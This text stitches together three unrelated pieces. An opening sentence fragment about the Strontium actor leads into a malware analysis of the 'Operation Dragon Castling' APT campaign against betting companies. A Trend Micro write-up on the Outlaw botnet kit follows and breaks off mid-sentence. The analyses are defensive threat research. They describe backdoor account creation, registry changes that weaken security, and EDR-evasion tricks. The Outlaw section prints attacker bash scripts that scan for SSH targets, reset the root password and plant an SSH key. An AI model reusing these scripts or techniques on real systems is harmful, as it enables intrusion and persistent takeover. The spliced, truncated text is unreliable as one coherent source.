Strontium targeted sporting and anti-doping organizations. And we’ve previously disclosed activity by Strontium and other actors targeting major elections in the U.S. and elsewhere. This is yet another example of how cyberattacks have become the tool of choice for a
# Operation Dragon Castling: APT Group Targeting Betting Companies **March 22, 2022** by Luigino Camastra, Igor Morgenstern, Jan Holman ## Introduction We recently discovered an APT campaign we are calling Operation Dragon Castling. The campaign is targeting what appears to be betting companies in South East Asia, more specifically companies located in Taiwan, the Philippines, and Hong Kong. With moderate confidence, we can attribute the campaign to a Chinese-speaking APT group, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after. We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed. In this blog post, we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS Office. We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused. We would like to thank Taiwan’s TeamT5 for providing us with IoCs related to the infection vector. ## Infrastructure and Toolset In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g., we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin. However, we strongly believe that it is one of the malicious files used in this campaign. ## Infection Vector We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe, which is a part of the WPS Office installation package. We have contacted the WPS Office team about the vulnerability (CVE-2022-24934), which we discovered, and it has since been fixed. During our investigation, we saw suspicious behavior in the WPS updater process. When analyzing the binary, we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this, an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn, which is a domain belonging to Kingsoft, but the serving IP (103.140.187.16) has no relationship to the company, so we assume that it is a fake update server used by the attackers. The downloaded binary (setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954) drops two files for sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll. ### Dropper 1 (QMSpeedupRocketTrayStub64.dll) 76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491 The first stage is a backdoor communicating with a C&C (mirrors.centos.8788912[.]com). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress, FreeLibrary, LdrUnloadDll. To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary. Then it initializes an object for a JScript class with the named item ScriptHelper. The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER of an impersonated user. For communication with C&C, it constructs a UserAgent string with some system information e.g., Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform” registry values. After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key. Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header, and executed using the JScript class created previously. At the time of analysis, the C&C was not responding, but from the telemetry data, we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it. ### Dropper 2 (IcbcLog) a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3 The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012), then dropping a few binaries, which are stored with the following resource IDs: | Resource ID | Filename | Description | |-------------|-------------------------|---------------------------------| | 1825 | smcache.dat | List of C&C domains | | 1832 | log.dll | Loader (CoreX) 64bit | | 1840 | bdservicehost.exe | Signed PE for sideloading 64bit | | 1841 | N/A | Filenames for sideloading | | 1817 | inst.dat | Working path | | 1816 | hostcfg.dat | Used in the Host header, in C&C communication | | 1833 | bdservicehost.exe | Signed PE for sideloading 32bit – N/A | | 1831 | log.dll | Loader (32bit) – N/A | The encrypted payloads have the following structure: The encryption key is a wide string starting from offset 0x8. The encrypted data starts at the offset 0x528. To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer. To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage. ### Loader (CoreX) 97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42 The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1, it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat. The file is then loaded and decrypted using AES-256 with the following options for setup: Key is the computer name and IV is qwertyui12345678. AES-256 setup parameters are embedded in the resource in the format <key>#<IV>. The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll. We assume that this is used to bypass ntdll.dll hooking. After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (Windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed. ### Proto8 (Core Module) f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7 The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers, and waiting for commands. It has a cascading structure with four steps: **Step 1** The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function. The GetProcAddress hook contains an interesting debug output “in googo”. The malware then creates a new window (named Sample) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it. **Step 2** In the second step, the module tries to self-update, load configuration files, and set up its working directory (WD). Self-update The malware first looks for a file called new_version.dat – if it exists, its content is loaded into memory, executed in a new thread, and a debug string “run code ok” is printed out. We did not come across this file, but based on its name and context, this is most likely a self-update functionality. Load configuration file inst.dat and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations: - the directory where the core module DLL is located - the directory where the EXE that loaded the core module DLL is located - C:\ProgramData\ It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases. Load configuration file smcache.dat. After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols, and port numbers used to communicate with C&C servers (details in Step 4) plus a “comment” string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer and it’s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the “comment string” because we have seen a few versions of smcache.dat where the content of the string was “the comment string here” and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT. Create a log file Right after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck). Based on the extension, it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step. **Step 3** Next, the malware collects information about the infected environment (such as username, DNS, and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of “call objects”. Call objects are structures each associated with a particular function and saved into a “dispatcher” structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers. The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the RevertToSelf function is identified by the number 0x20210326 in some versions of the core module that we’ve seen and 0x19181726 in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function. | ID (last byte) | Function description | |----------------|----------------------| | 0x02 | unimplemented function | | 0x19 | retrieves content of smcache.dat and sends it to the C&C server | | 0x1A | writes data to smcache.dat | | 0x25 | impersonates the logged-on user or the explorer.exe process | | 0x26 | function that calls RevertToSelf | | 0x31 | receives data and copies it into a newly allocated executable buffer | | 0x33 | receives core plugin code, drops it on disk, and then loads and calls it | | 0x56 | writes a value into comment.dat | **Webdav** While initializing the call objects, the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W. This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself. **Plugins** The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg<tick_count>.dat in the malware working directory, loads it into memory, and then calls its exported function InitCorePlug. The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT. For more information about the plugins, see the dedicated Plugins section. **Step 4** In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows: The protocol string can have one of nine possible values: - TCP - HTTPS - UDP - DNS - ICMP - HTTPSIPV6 - WEB - SSH - HTTP Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C, and waits for commands. In this blog post, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers. When using the HTTP protocol, the core module first opens two persistent request handles – one for POST and one for GET requests, both to “/connect”. These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile. ### HTTP Packet Order The core module uses the following (mostly hard-coded) HTTP headers: - Accept: */* - x-cid: {<uuid>} – new uuid is generated for each GET/POST request pair - Pragma: no-cache - Cache-control: no-transform - User-Agent: <user_agent> – generated from registry or hard-coded (see below) - Host: <host_value> – C&C server domain or the value from hostcfg.dat (see below) - Connection: Keep-Alive - Content-Length: 4294967295 (max uint, only in the POST request) **User-Agent Header** The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing the registry) or a hard-coded string is used if the registry access fails: “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”. **Host Header** When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat. It does not change the actual C&C domain to which the request is made – this suggests the possibility of the C&C server being behind a reverse proxy. **Initial Beacon** The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names, and the comment string found in smcache.dat or comment.dat. The value from comment.dat takes precedence if this file exists. In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat – it looks for the key “COMMNET” instead of “COMMENT”. After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects. Each message sent to the C&C server contains a hard-coded four-byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we’ve seen are: | ID (last byte) | Usage | |----------------|-------| | 0x1B | message to C&C which contains smcache.dat content | | 0x24 | message to C&C which contains a debug string | | 0x2F | general message to C&C | | 0x30 | message to C&C, unknown specific purpose | | 0x32 | message to C&C related to plugins | | 0x80 | initial beacon to a C&C server | ### Interesting Observations About the Protocols Other than the HTTP protocol: - HTTPS does not use persistent request handles. - HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon. - HTTPS, TCP, and UDP use a custom “magic” header: Magic-Code: hhjjdfgh. ### General Observations on the Core Module The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, “run code ok” after self-update, “In googo” in the hook of GetProcAddress, “recv bomb” and “sent bomb” in the main C&C communicating function, etc. **String Obfuscation** We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key. Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not. To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to WritePrivateProfileStringW. Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication); however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders. ## Plugins In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality. We are going to describe three plugins with various functionalities, such as: - Achieving persistence - Bypassing UAC - Registering an RPC interface - Creating a new account - Backdoor capabilities ### Core Plugin 0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755 This plugin is a DLL binary loaded by the fileless core module (Proto8) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins export the function "GetPlugin" which the core plugin executes. This part uses the same command ID based calling convention as the core module, adding three new methods: | ID (last byte) | Function description | |----------------|----------------------| | 0x2B | send information about plugin location to the C&C server | | 0x2C | remove a plugin | | 0x2A | load a plugin | All plugin binaries used by the core module are stored in the working directory under the name kbg<tick_count>.dat. After the Core Plugin is loaded, it first removes all plugins from the working directory. ### Zload (Atomx.dll, xps1.dll) 2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876 The DLL we call Zload is an example of a plugin loaded by the Core Plugin. It exports four functions: “GetPlugin”, “Install”, “core_zload”, and “zload”. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload, core_zload, and the default DllMain function, as they contain the most interesting functionality. **Zload (Process Starter)** This function is fairly simple; its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called "mec" in it. After this, it renames and moves three files into it: - the Zload plugin binary itself as <root_folder>\mec\logexts.dll, - <root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe, and - <root_folder>\kb.ini as <root_folder>\mec\kb.ini. After the files are renamed and moved, it creates a new process by executing the binary <root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe). **core_zload (Persistence Setup)** This function is responsible for persistence, which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC source code found on GitHub. **DllMain (Sideloading, Setup)** The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security. **Persistence** The plugin first checks if its DLL was loaded either by the processes “lsass.exe” or “spdagent.exe”. If the DLL was loaded by “spdagent.exe”, it will adjust the token privileges of the current process. If it was loaded by “lsass.exe”, it will retrieve the path “kb<num>.dll” from the configuration file “kb.ini” and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters AutodialDLL. This ensures persistence, as it causes the DLL “kb<num>.dll” to be loaded each time the Winsock 2 library (ws2_32.dll) is invoked. **Evasion** To avoid detection, the plugin first checks the list of running processes for “avp.exe” (Kaspersky Antivirus) or “NortonSecurity.exe” and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to “explorer.exe”. The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}. **Backdoor User Account Creation** Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by: - Allowing local accounts to have full admin rights when they are authenticating via network logon - Enabling RDP connections to the machine without the user password - Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges - Enabling anonymous SID to be part of the everyone group in Windows - Allowing “Null Session” users to list users and groups in the domain - Allowing “Null Session” users to access shared folders - Setting the name of the pipe that will be accessible to “Null Session” users After this step, the plugin changes the WebClient service startup type to “Automatic”. It creates a new user with the name “DefaultAccount” and the password “Admin@1999!” which is then added to the “Administrator” and “Remote Desktop Users” groups. It also hides the new account on the logon screen. As the last step, the plugin checks the list of running processes for process names “360tray.exe” and “360sd.exe” and executes the file "spdlogd.exe" if neither of them is found. ### MecGame (kb%num%.dll) 4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD MecGame is another example of a plugin that can be loaded by the Core Plugin. Its main purpose is similar to the previously described Zload plugin – it executes the binary “spdlogd.exe” and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}. This RPC interface represents a function that decodes and executes a base64 encoded shellcode. The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll. ### MulCom ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2 This DLL is a backdoor module which exports four functions: “OperateRoutineW”, “StartRoutineW”, “StopRoutineW”, and “WorkRoutineW”; the main malicious function being “StartRoutineW”. For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either “Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB” or "Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”. Unfortunately, we didn’t come across the configuration data, so we are missing some information such as the C&C server domains this module uses. There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers: | Command ID | Function description | |------------|----------------------| | 1 | Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM | | 2 | Finds out information about the domain name, user name, and security identifier of the process explorer.exe. It finds out the user name, domain name, and computer name of all Remote Desktop sessions. | | 3 | Enumerates root disks | | 4 | Enumerates files and finds out their creation time, last access time, and last write time | | 5 | Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix). | | 6 | Enumerates files and finds out creation time, last time access, last write time | | 7 | Renames files | | 8 | Deletes files | | 9 | Creates a directory | | 101 | Sends an error code obtained via GetLastError API function | | 102 | Enumerates files in a specific folder and finds out their creation time, last access time, and last write time | | 103 | Uploads a file to the C&C server | | 104 | Not implemented (reserved) | | Combination 105/106/107 | Creates a directory and downloads files from the C&C server | ### Communication Protocol The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object. It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate, or to authenticate via either the SOCKS4 and SOCKS5 protocols. After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC. This data is a set with the following structure: ### Data Structure Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly. As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT). ## Conclusion We have described a robust and modular toolset used most likely by a Chinese-speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blog post, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT" has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX – tools commonly used by Chinese-speaking attackers. We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed. Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation. ## Appendix ### List of Processes - 360sd.exe - 360rp.exe - 360Tray.exe - 360Safe.exe - 360rps.exe - ZhuDongFangYu.exe - kxetray.exe - kxescore.exe - KSafeTray.exe - KSafe.exe - audiodg.exe - iexplore.exe - MicrosoftEdge.exe - MicrosoftEdgeCP.exe - chrome.exe ### Registry Values Changed by the Zload Plugin | Registry Path in HKEY_LOCAL_MACHINE | Registry Key | |--------------------------------------|--------------| | SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System | LocalAccountTokenFilterPolicy = 1, FilterAdministratorToken = 0 | | SYSTEM\\CurrentControlSet\\Control\\Lsa | LimitBlankPasswordUse = 0, EveryoneIncludesAnonymous = 1, RestrictAnonymous = 0 | | System\\CurrentControlSet\\Services\\LanManServer\\Parameters | RestrictNullSessAccess = 0, NullSessionPipes = RpcServices | ### Core Module Working Directory (WD) Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP%): - spptools - NewGame - TspSoft - InstallAtomx File used to test permissions: game_<tick_count>.log – the WD path is written into it and then the file is deleted. Hard-coded security descriptor used for WD access: “D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)”. Lockfile name format: “<working_dir>\<victim_username>-<comment_string>.log”. ### Core Module Mutexes - Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim’s username) - Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim’s username) - Global\TencentSecuriryAgent-P01-%s (%s is the victim’s username) ### Indicators of Compromise (IoC) - Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling - List of SHA-256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256 Tagged as analysis, APT, malware, reversing, WPS.
# Outlaw Updates Kit to Kill Older Miner Versions, Targets More Systems **Posted on:** February 10, 2020 at 1:00 pm **Posted in:** Bad Sites, Exploits, Malware, Targeted Attacks, Vulnerabilities **Author:** Trend Micro By Jindrich Karasek (Threat Researcher) As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity. It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources. While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks. The updates expanded scanner parameters and targets, looped execution of files via error messages, improved evasion techniques for scanning activities, and improved mining profits by killing off both the competition and their own previous miners. We analyzed the kits, which were designed to steal information from the automotive and finance industries, launch subsequent attacks on already compromised systems, and possibly sell stolen information. Comparing this development to their previous attacks, we think Outlaw may be aiming to go after enterprises that have yet to update their systems, assessing security and changes with their previously infected hosts, finding new and old targets, and possibly testing their updates in the wild. We will continue to observe the group’s activities as they target industries from the United States and Europe. Based on the samples we collected and traced to 456 distinct IPs, we expect the group to be more active in the coming months as we observed changes on the versions we acquired. ## Routine These new samples targeted Linux- and Unix-based operating systems, vulnerable servers, and Internet of Things (IoT) devices by exploiting known vulnerabilities with available exploits. This time, the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit (CVE-2016-5195) as attack vectors. Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials. While no phishing- or social engineering-initiated routines were observed in this campaign, we found multiple attacks over the network that are considered “loud.” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control (C&C) server. The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed. We also considered the move as an obfuscation technique, as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online. The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times. From the sample we analyzed, attacks started from one virtual private server (VPS) that searches for a vulnerable machine to compromise. Once infected, the C&C commands for the infected system launch a loud scanning activity and spread the botnet by sending a “whole kit” of binary files at once with naming conventions same as the ones already in the targeted host, likely banking on breaking through via “security through obscurity.” They attempted to evade traffic inspection by encoding the code for the scanner with base-64. The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background. Decoding the scanner revealed the following codes: ```bash #!/bin/bash cd /tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv /var/tmp/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd /tmp/.X19-unix/.rsync/c nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1& sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1& exit 0 ``` The kit we found is in tgz format, though we have observed some samples disguised as png or jpg. While previous routines took advantage of competing miners’ activities and unrelated components to hijack the profit, the latest version of the code attempts to remove all related files and codes from previous infections (including their own to make sure the running components are updated, as well as those from other cybercriminals to maximize the resources of the zombie host) and creates a new working directory `/tmp/.X19-unix` to move the kit and extract the files. The `tsm` binary then runs in the background, forwarding a series of error messages to `/dev/null` to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters `/tmp/up.txt`. The script then waits 20 minutes before it runs the wrapper script `initall`. Another variant executes a set of commands once a system is successfully compromised. Most of these commands are related to gathering information from the infected machine (number of CPU cores, users, scheduled tasks, running processes, OS installed, and CPU and memory information) via the `dota3` payload, as well as changing the password to a random string also stored in `/tmp/up.txt`. In a previous execution, we observed that `dota2` had its own folder but it was hardly executed, indicating that this version is the updated iteration: ```bash cat /proc/cpuinfo | grep name | wc -l echo "root:TXhf4ICTayIh"|chpasswd|bash echo "321" > /var/tmp/.var03522123 rm -rf /var/tmp/.var03522123 cat /var/tmp/.var03522123 | head -n 1 cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ls -lh $(which ls) which ls crontab -l w uname -m cat /proc/cpuinfo | grep model | grep name | wc -l top uname uname -a lscpu | grep Model echo "root 123" > /tmp/up.txt rm -rf /var/tmp/dota* <send Outlaw kit (the archive file) to compromised host via SFTP> cat /var/tmp/.systemcache436621 echo "1" > /var/tmp/.systemcache436621 cat /var/tmp/.systemcache436621 sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened> cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3N.....<shortened> ``` Running the script removes the remaining files and scripts from previous attacks, keeping a low profile to evade detection. If the system has been previously infected with a cryptominer, it also attempts to kill the running miner and all its related activities. Based on a bashtemp directory of the latest sample we found, there are other compiled ELF scripts, named `init` and `init2`, that loops the kit to keep running: ```bash 0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6 init 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494 init2 ``` Both `init` and `init2` scripts make sure all other running mining services are killed, and that all the files in the working directory are executed by giving 777 permissions. We also found the `init0` script running; the script cleans out all miners regardless of its origin. It then resets cron and removes possible cache files from other programs, starts scripts and binaries `a`, `init0`, and `start`, and sets the persistence by modifying the crontab. The `a` binary is a script wrapper to start `run`, a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system. The Shellbot disguises itself as a process named `rsync`, commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization. This allows the malicious activity to evade detection. The Shellbot script is added to run after the victim’s system reboots, and scripts `/a/upd`, `/b/sync/`, and `/c/aptitude/` are added to the crontab. However, while we observed the presence of the codes, the functions of `upd`, `sync`, and `aptitude` were disabled in the kits’ latest version. It remains unclear whether these are leftover code from the previous versions or their particular purposes were served. Shellbot is also used to control the botnet, with a command that is sent and run from the C&C to determine if there is a code execution in the shell, the hostname, and its architecture. All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C. We also found traces of Android Package Kits (APK) and Android Debug Bridge (ADB)-based commands that enable cryptocurrency mining activities in Android-based TVs. ## Conclusion Since discovering the operations of this group in 2018, Outlaw continues to use scripts, codes, and commands that have been previously used and deployed. These routines are indicative of the group’s aim to get quantitative returns through varied cybercriminal profit streams. This was also reinforced by their naming conventions, wherein different versions are simply named after the code iterations, following a specific format regardless of the actual function of the code. Furthermore, based on the 